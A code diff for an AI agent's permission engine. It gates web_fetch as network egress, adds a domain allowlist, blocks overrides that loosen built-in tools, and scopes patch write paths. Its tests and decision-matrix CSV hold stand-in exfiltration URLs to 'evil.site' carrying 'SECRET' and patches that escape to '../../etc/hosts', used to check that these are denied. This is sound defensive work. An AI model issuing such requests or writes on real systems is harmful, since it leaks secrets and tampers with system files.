diff --git a/coworker/agent.py b/coworker/agent.py index 063f0946..a04a54bf 100644 --- a/coworker/agent.py +++ b/coworker/agent.py @@ -403,6 +403,7 @@ def build_engine( allowed_commands if allowed_commands is not None else config.allowed_commands ), auto_allow_tools=set(config.auto_allow), + allowed_domains=list(config.allowed_domains), roots=root_list or None, risk_overrides=risk_overrides, ) diff --git a/coworker/config.py b/coworker/config.py index a25a7c2a..d4dd26c7 100644 --- a/coworker/config.py +++ b/coworker/config.py @@ -38,6 +38,10 @@ class Config: # In "custom" permission mode, these tools are auto-approved (e.g. file edits) # while everything else still asks. auto_allow: list[str] = field(default_factory=list) + # Egress destinations `web_fetch` may reach WITHOUT an approval prompt (exact host or + # subdomain). Empty by default — the first fetch to any host asks. A power-user opt-in, + # like `allowed_commands`; user-global only, so a repo can't widen the agent's network reach. + allowed_domains: list[str] = field(default_factory=list) host: str = "127.0.0.1" port: int = 8765 # Web search provider: "duckduckgo" (keyless default) | "tavily" | "brave" (need a key). @@ -67,6 +71,7 @@ _FIELDS = { "max_iterations", "allowed_commands", "auto_allow", + "allowed_domains", "host", "port", "web_search_provider", @@ -79,8 +84,9 @@ _FIELDS = { # These fields change what consequential actions can run without a prompt, so the normal # workspace override pass never applies them. `allowed_commands` is added separately only -# for a canonically trusted workspace; `auto_allow` remains user-global only. -_GLOBAL_ONLY_FIELDS = {"allowed_commands", "auto_allow"} +# for a canonically trusted workspace; `auto_allow` and `allowed_domains` remain user-global +# only (a repo must not be able to widen the agent's command or network reach). +_GLOBAL_ONLY_FIELDS = {"allowed_commands", "auto_allow", "allowed_domains"} _WORKSPACE_FIELDS = _FIELDS - _GLOBAL_ONLY_FIELDS diff --git a/coworker/engine.py b/coworker/engine.py index 9e07d712..f8f1afb6 100644 --- a/coworker/engine.py +++ b/coworker/engine.py @@ -31,6 +31,7 @@ class ApprovalOutcome(str, Enum): ONCE = "once" ALWAYS_TOOL = "always_tool" ALWAYS_COMMAND = "always_command" + ALWAYS_DOMAIN = "always_domain" DENY = "deny" @@ -745,6 +746,10 @@ class TurnEngine: self.permissions.allow_command_for_session( str(tool_call.arguments.get("command", "")) ) + elif outcome is ApprovalOutcome.ALWAYS_DOMAIN: + self.permissions.allow_domain_for_session( + str(tool_call.arguments.get("url", "")) + ) allowed, reason = True, "approved by user" self._audit( tool_call, diff --git a/coworker/permissions.py b/coworker/permissions.py index 82477f7b..1044f37d 100644 --- a/coworker/permissions.py +++ b/coworker/permissions.py @@ -8,11 +8,13 @@ prefixes) and a session allowlist. The engine only *decides*; the turn engine ro from __future__ import annotations +import re import shlex from dataclasses import dataclass, field from enum import Enum from pathlib import Path from typing import Any, Optional +from urllib.parse import urlsplit # Shell metacharacters that turn one "allowlisted" command into several. Any of these in a # command disqualifies it from allowlist auto-run — approval is required instead. Covers @@ -24,6 +26,53 @@ _SHELL_OPERATORS = (";", "&", "|", ">", "<", "`", "$(", "(", "\n", "\r") def _has_shell_operators(command: str) -> bool: return any(op in command for op in _SHELL_OPERATORS) + +def _host_of(url_or_domain: str) -> str: + """The lowercased host of a URL, or a bare domain as-is. `''` when there's nothing + usable. Accepts both `https://docs.python.org/x` and `docs.python.org`.""" + s = (url_or_domain or "").strip().lower() + if not s: + return "" + if "://" in s: + return urlsplit(s).hostname or "" + return urlsplit("//" + s).hostname or s + + +# The argument that names a write tool's target path, when it's a single top-level field. +# Patch/diff tools carry their paths inside the blob instead — extracted in `write_paths`. +_PATH_ARG: dict[str, str] = {"write_file": "path", "replace_in_file": "path"} +# apply_patch (Codex format) file headers, and unified-diff `+++ b/` headers. +_APPLY_PATCH_FILE = re.compile( + r"^\*\*\* (?:Add|Update|Delete) File: (.+)$", re.MULTILINE +) +_APPLY_PATCH_MOVE = re.compile(r"^\*\*\* Move to: (.+)$", re.MULTILINE) +_UNIFIED_DIFF_FILE = re.compile(r"^\+\+\+ (?:b/)?(.+?)\s*$", re.MULTILINE) + + +def write_paths(tool_name: str, arguments: dict[str, Any]) -> tuple[list[str], bool]: + """Every filesystem path a write tool would touch, for root scoping. + + Returns ``(paths, located)``. ``located`` is False when the path can't be determined + (an unknown write tool, or a patch/diff blob with no parseable file header) — the caller + must then fail closed rather than skip scoping, so an unscoped write can't slip through + auto/custom mode. + """ + arg = _PATH_ARG.get(tool_name) + if arg is not None: + value = arguments.get(arg) + return ([str(value)], True) if value else ([], False) + if tool_name == "apply_patch": + blob = str(arguments.get("patch", "")) + paths = _APPLY_PATCH_FILE.findall(blob) + _APPLY_PATCH_MOVE.findall(blob) + return ([p.strip() for p in paths], bool(paths)) + if tool_name == "apply_unified_diff": + blob = str(arguments.get("diff", "")) + paths = [p for p in _UNIFIED_DIFF_FILE.findall(blob) if p and p != "/dev/null"] + return (paths, bool(paths)) + # Unknown write tool (e.g. one promoted to write via a user override): we cannot locate + # its path, so it cannot be auto-scoped. + return ([], False) + from .risk import ( # re-exported for back-compat (manager.py imports WRITE_TOOLS) SHELL_TOOL, WRITE_TOOLS, @@ -88,6 +137,11 @@ class PermissionEngine: auto_allow_tools: set[str] = field(default_factory=set) session_allow_tools: set[str] = field(default_factory=set) session_allow_commands: set[str] = field(default_factory=set) + # Egress domains that auto-run without a prompt: `allowed_domains` from user config, plus + # `session_allow_domains` minted by "Always allow this domain". Matched by exact host or + # subdomain suffix (see `_domain_allowed`). + allowed_domains: list[str] = field(default_factory=list) + session_allow_domains: set[str] = field(default_factory=set) # Task-scoped standing rules (§25): {tool: {allowed targets}}, seeded from the owning # ScheduledTask's target-shaped entries. Kept by reference and re-read every check, so a # rule minted mid-run ("Allow every time") applies to the run's next call too. @@ -125,6 +179,7 @@ class PermissionEngine: risk = classify(tool_name, metadata, self.risk_overrides) is_write = risk is RiskClass.WRITE_LOCAL is_shell = risk is RiskClass.EXEC + is_egress = risk is RiskClass.EGRESS consequential = is_consequential(risk) # Discuss / plan modes: read-only. @@ -133,11 +188,22 @@ class PermissionEngine: False, f"{self.mode.value} mode is read-only", needs_user=False ) - # Path scoping for writes that name a path (all modes): must land in a writable root. + # Path scoping for writes (all modes): every path the write touches must land in a + # writable root. A write whose path can't be located is not scoped-able, so it fails + # closed to approval rather than slipping through auto/custom unscoped. if is_write: - path = arguments.get("path") - if path is not None and not self._under_writable_root(path): - return Decision(False, f"path is not in a writable directory: {path}") + paths, located = write_paths(tool_name, arguments) + if not located: + return Decision( + False, + "cannot determine the write path to scope", + needs_user=True, + ) + for path in paths: + if not self._under_writable_root(path): + return Decision( + False, f"path is not in a writable directory: {path}" + ) # Non-consequential tools always run. if not consequential: @@ -154,6 +220,10 @@ class PermissionEngine: return Decision(True, "command on allowlist") if command and command in self.session_allow_commands: return Decision(True, "command allowed for session") + if is_egress: + url = str(arguments.get("url", "")) + if self._domain_allowed(url): + return Decision(True, "domain on allowlist") if tool_name in self.session_allow_tools and not is_connector: return Decision(True, "tool allowed for session") @@ -185,6 +255,12 @@ class PermissionEngine: if command: self.session_allow_commands.add(command) + def allow_domain_for_session(self, url_or_domain: str) -> None: + """Remember an egress destination for this session ("Always allow this domain").""" + host = _host_of(url_or_domain) + if host: + self.session_allow_domains.add(host) + # -- helpers ---------------------------------------------------------------- def _candidate(self, path: str) -> Path: # Relative paths resolve against the primary (workspace_root); absolute/`~` taken as-is. @@ -213,6 +289,20 @@ class PermissionEngine: continue return False + def _domain_allowed(self, url: str) -> bool: + """True when the URL's host is an allowed egress destination — an exact match or a + subdomain of an allowed domain (so `docs.python.org` matches `python.org`, but + `evil-python.org` never matches `python.org`).""" + host = _host_of(url) + if not host: + return False + allowed = {d for d in (_host_of(x) for x in self.allowed_domains) if d} + allowed |= self.session_allow_domains + for dom in allowed: + if host == dom or host.endswith("." + dom): + return True + return False + def _command_allowed(self, command: str) -> bool: # An allowlist entry auto-runs a command WITHOUT approval, so prefix matching is # unsafe: `git status` would auto-approve `git status && rm -rf ~`. Reject anything diff --git a/coworker/risk.py b/coworker/risk.py index 913e9f06..c2122536 100644 --- a/coworker/risk.py +++ b/coworker/risk.py @@ -17,6 +17,7 @@ from typing import Any, Callable, Optional class RiskClass(str, Enum): READ = "read" # no side effects — always allowed + EGRESS = "egress" # reaches the network — the request itself can carry data off-machine WRITE_LOCAL = "write_local" # mutates the workspace — path-scoped + mode-gated EXEC = "exec" # runs commands — mode-gated EXTERNAL = "external" # side effects off the machine — the unattended Inbox hook @@ -25,27 +26,47 @@ class RiskClass(str, Enum): # Built-in tools whose risk is fixed by name (the old WRITE_TOOLS / SHELL_TOOL, as data). WRITE_TOOLS = {"write_file", "replace_in_file", "apply_patch", "apply_unified_diff"} SHELL_TOOL = "run_shell" +# Model-chosen network reads. `web_fetch` takes a URL straight from the model and the URL's +# query string can carry data outbound, so it is NOT a pure read — it must reach the gate. +# `web_search` stays READ: it hits a fixed configured provider, not a model-chosen host. +EGRESS_TOOLS = {"web_fetch"} _BASE: dict[str, RiskClass] = { **{name: RiskClass.WRITE_LOCAL for name in WRITE_TOOLS}, SHELL_TOOL: RiskClass.EXEC, + **{name: RiskClass.EGRESS for name in EGRESS_TOOLS}, +} + +# How much attention each class demands, for the override-tightening rule below. Higher = +# stricter. EXEC and WRITE_LOCAL are the crown jewels (path scoping / command gating). +_STRICTNESS: dict[RiskClass, int] = { + RiskClass.READ: 0, + RiskClass.EGRESS: 1, + RiskClass.EXTERNAL: 2, + RiskClass.WRITE_LOCAL: 3, + RiskClass.EXEC: 3, } # A user-local override resolver: tool name -> RiskClass (or None to defer to the base). -# Wired in Phase 2 (mainly to relax MCP's conservative default); always None until then. RiskOverrides = Callable[[str], Optional["RiskClass"]] def classify( tool_name: str, metadata: Any = None, overrides: Optional[RiskOverrides] = None ) -> RiskClass: - """Effective risk of a tool call. ``overrides`` (user-local) wins, then the by-name base - table, then aisuite metadata (`requires_approval` → external), else read.""" + """Effective risk of a tool call. A user override may *relax* a metadata/MCP tool (the + intended use — quieting an over-cautious plug-in), but may only ever **tighten** a + built-in write/exec/egress tool, never loosen it. Downgrading a built-in write to a read + would switch off path scoping AND the read-only gate at once, so it is refused here. + Precedence otherwise: the by-name base table, then aisuite metadata + (`requires_approval` → external), else read.""" + base = _BASE.get(tool_name) if overrides is not None: ov = overrides(tool_name) if ov is not None: - return ov - base = _BASE.get(tool_name) + if base is None or _STRICTNESS[ov] >= _STRICTNESS[base]: + return ov + # A loosening override on a built-in is ignored: fall through to the base class. if base is not None: return base if bool(getattr(metadata, "requires_approval", False)): diff --git a/tests/corpora/decision_matrix.csv b/tests/corpora/decision_matrix.csv index 1c923639..0929fa30 100644 --- a/tests/corpora/decision_matrix.csv +++ b/tests/corpora/decision_matrix.csv @@ -23,5 +23,10 @@ connector-write,interactive,gmail_send,{},external,,,,,,,ask,connector write ask connector-always-ignored,interactive,gmail_send,{},external,,gmail_send,,,,,ask,session tool grant deliberately ignored for connectors standing-match,interactive,send_message,"{""target"": ""slack:T1/C1"", ""text"": ""hi""}",external,,,,send_message slack:T1/C1,,,allow,standing rule matches the exact target standing-mismatch,interactive,send_message,"{""target"": ""slack:T1/C2"", ""text"": ""hi""}",external,,,,send_message slack:T1/C1,,,ask,standing rule does not cover a different target -webfetch-interactive,interactive,web_fetch,"{""url"": ""https://evil.site/log?d=SECRET""}",,,,,,,,allow,BASELINE-WRONG web_fetch classed as read so never gates -webfetch-plan,plan,web_fetch,"{""url"": ""https://evil.site/log?d=SECRET""}",,,,,,,,allow,BASELINE-WRONG web_fetch runs even in read-only plan mode +webfetch-interactive,interactive,web_fetch,"{""url"": ""https://evil.site/log?d=SECRET""}",,,,,,,,ask,FIXED-PR1 web_fetch is egress so now asks in interactive +webfetch-plan,plan,web_fetch,"{""url"": ""https://evil.site/log?d=SECRET""}",,,,,,,,deny,FIXED-PR1 egress is not a read so plan mode blocks it +webfetch-auto,auto,web_fetch,"{""url"": ""https://evil.site/log?d=SECRET""}",,,,,,,,allow,auto allows egress +webfetch-allowed-domain,interactive,web_fetch,"{""url"": ""https://docs.python.org/3/x""}",,,,,,,python.org,allow,egress to a config-allowed domain (subdomain match) +webfetch-session-domain,interactive,web_fetch,"{""url"": ""https://api.github.com/x""}",,,,,,,,ask,egress to an unlisted domain still asks +patch-escape,auto,apply_patch,"{""patch"": ""*** Begin Patch\n*** Update File: ../../etc/hosts\n@@\n-a\n+b\n*** End Patch""}",,,,,,,,deny,FIXED-PR1 apply_patch path extracted from blob and scoped even in auto +patch-inroot,auto,apply_patch,"{""patch"": ""*** Begin Patch\n*** Update File: src/app.py\n@@\n-a\n+b\n*** End Patch""}",,,,,,,,allow,apply_patch to an in-root path allowed in auto diff --git a/tests/test_egress_and_overrides.py b/tests/test_egress_and_overrides.py new file mode 100644 index 00000000..5e0b4f7d --- /dev/null +++ b/tests/test_egress_and_overrides.py @@ -0,0 +1,116 @@ +"""PR1 — egress split, override tightening, and write-path scoping. + +Covers the parts of the golden matrix that need a configured override resolver or exercise +the helpers directly. See `ocw-context/docs/reviewed-auto-mode.md` Part 3. +""" + +from __future__ import annotations + +from pathlib import Path + +import pytest + +from coworker.permissions import Mode, PermissionEngine, write_paths +from coworker.risk import RiskClass, classify + + +# -- egress classification ------------------------------------------------------ +def test_web_fetch_is_egress_not_read(): + assert classify("web_fetch") is RiskClass.EGRESS + # web_search stays a read: it hits a fixed configured provider, not a model-chosen host. + assert classify("web_search") is RiskClass.READ + + +@pytest.mark.parametrize( + "mode,expected_needs_user,expected_allowed", + [ + (Mode.INTERACTIVE, True, False), # asks + (Mode.CUSTOM, True, False), # asks + (Mode.PLAN, False, False), # denied (read-only, egress is not a read) + (Mode.DISCUSS, False, False), # denied + (Mode.AUTO, False, True), # allowed + ], +) +def test_web_fetch_gated_in_every_mode(tmp_path, mode, expected_needs_user, expected_allowed): + eng = PermissionEngine(workspace_root=tmp_path, mode=mode) + d = eng.evaluate("web_fetch", {"url": "https://evil.site/log?d=SECRET"}, None) + assert d.allowed is expected_allowed + assert d.needs_user is expected_needs_user + + +def test_egress_domain_allowlist_subdomain_match(tmp_path): + eng = PermissionEngine(workspace_root=tmp_path, allowed_domains=["python.org"]) + assert eng.evaluate("web_fetch", {"url": "https://docs.python.org/3"}, None).allowed + # a look-alike that merely ends with the string must NOT match + assert not eng.evaluate("web_fetch", {"url": "https://evil-python.org/x"}, None).allowed + + +def test_egress_session_domain_grant(tmp_path): + eng = PermissionEngine(workspace_root=tmp_path) + assert eng.evaluate("web_fetch", {"url": "https://api.github.com/x"}, None).needs_user + eng.allow_domain_for_session("https://api.github.com/anything") + assert eng.evaluate("web_fetch", {"url": "https://api.github.com/x"}, None).allowed + + +# -- override tightening -------------------------------------------------------- +def _override(mapping): + return lambda name: mapping.get(name) + + +def test_override_cannot_downgrade_builtin_write(tmp_path): + # A user override marking write_file as a harmless read must be ignored: path scoping + # and the read-only gate both key off the class, so a downgrade would switch off both. + ov = _override({"write_file": RiskClass.READ}) + assert classify("write_file", None, ov) is RiskClass.WRITE_LOCAL + + eng = PermissionEngine(workspace_root=tmp_path, mode=Mode.PLAN, risk_overrides=ov) + d = eng.evaluate("write_file", {"path": "../../escape.txt", "content": "x"}, None) + assert not d.allowed # still blocked; the downgrade did nothing + + +def test_override_can_still_relax_a_plugin_tool(tmp_path): + # The intended use survives: a non-built-in (MCP) tool defaulting to external can be + # relaxed to read. + from types import SimpleNamespace + + ov = _override({"mcp__notion__search": RiskClass.READ}) + meta = SimpleNamespace(requires_approval=True, category="mcp") + assert classify("mcp__notion__search", meta, ov) is RiskClass.READ + + +def test_override_may_tighten(tmp_path): + # Tightening a plugin read up to exec is honoured. + ov = _override({"mcp__x__run": RiskClass.EXEC}) + assert classify("mcp__x__run", None, ov) is RiskClass.EXEC + + +# -- write-path extraction / scoping ------------------------------------------- +def test_write_paths_simple_tools(): + assert write_paths("write_file", {"path": "a.txt"}) == (["a.txt"], True) + assert write_paths("replace_in_file", {"path": "b.py"}) == (["b.py"], True) + # a write tool with no locatable path → not located → caller fails closed + assert write_paths("write_file", {}) == ([], False) + + +def test_write_paths_from_patch_blob(): + patch = "*** Begin Patch\n*** Update File: src/app.py\n@@\n-a\n+b\n*** End Patch" + assert write_paths("apply_patch", {"patch": patch}) == (["src/app.py"], True) + diff = "--- a/old.py\n+++ b/new.py\n@@\n-a\n+b" + assert write_paths("apply_unified_diff", {"diff": diff}) == (["new.py"], True) + + +def test_unknown_write_tool_fails_closed(tmp_path): + # A tool promoted to write via an override, whose path we can't locate, must not slip + # through auto mode unscoped — it asks instead. + ov = _override({"weird_writer": RiskClass.WRITE_LOCAL}) + eng = PermissionEngine(workspace_root=tmp_path, mode=Mode.AUTO, risk_overrides=ov) + d = eng.evaluate("weird_writer", {"blob": "..."}, None) + assert not d.allowed and d.needs_user + + +def test_patch_scoping_holds_in_auto_mode(tmp_path): + eng = PermissionEngine(workspace_root=tmp_path, mode=Mode.AUTO) + escape = "*** Begin Patch\n*** Update File: ../../etc/hosts\n@@\n-a\n+b\n*** End Patch" + assert not eng.evaluate("apply_patch", {"patch": escape}, None).allowed + ok = "*** Begin Patch\n*** Update File: src/app.py\n@@\n-a\n+b\n*** End Patch" + assert eng.evaluate("apply_patch", {"patch": ok}, None).allowed diff --git a/tests/test_permissions_risk.py b/tests/test_permissions_risk.py index c41e1141..61aa59c1 100644 --- a/tests/test_permissions_risk.py +++ b/tests/test_permissions_risk.py @@ -46,15 +46,23 @@ def test_is_consequential(): assert is_consequential(RiskClass.EXTERNAL) -def test_overrides_win_over_base_and_metadata(): - # A user-local override beats both the by-name base table and the metadata fallback. +def test_overrides_relax_metadata_but_never_downgrade_a_builtin(): + # A user-local override may relax a metadata/MCP tool (the intended use)... relax = lambda n: RiskClass.READ if n in {"write_file", "mcp_tool"} else None - assert classify("write_file", None, relax) == RiskClass.READ # downgrade a write assert classify("mcp_tool", EXTERNAL_META, relax) == RiskClass.READ # relax MCP + # ...but must NEVER loosen a built-in write/exec/egress tool: downgrading write_file to + # read would switch off path scoping AND the read-only gate, so the override is ignored. + assert classify("write_file", None, relax) == RiskClass.WRITE_LOCAL # Non-matching names fall through to the base/metadata classification. assert classify("run_shell", None, relax) == RiskClass.EXEC +def test_overrides_may_tighten_a_builtin(): + # Tightening is fine — only loosening a built-in is refused. + tighten = lambda n: RiskClass.EXEC if n == "write_file" else None + assert classify("write_file", None, tighten) == RiskClass.EXEC + + # -- PermissionEngine driven by risk class -------------------------------------- def test_read_always_allowed(tmp_path): eng = PermissionEngine(workspace_root=tmp_path)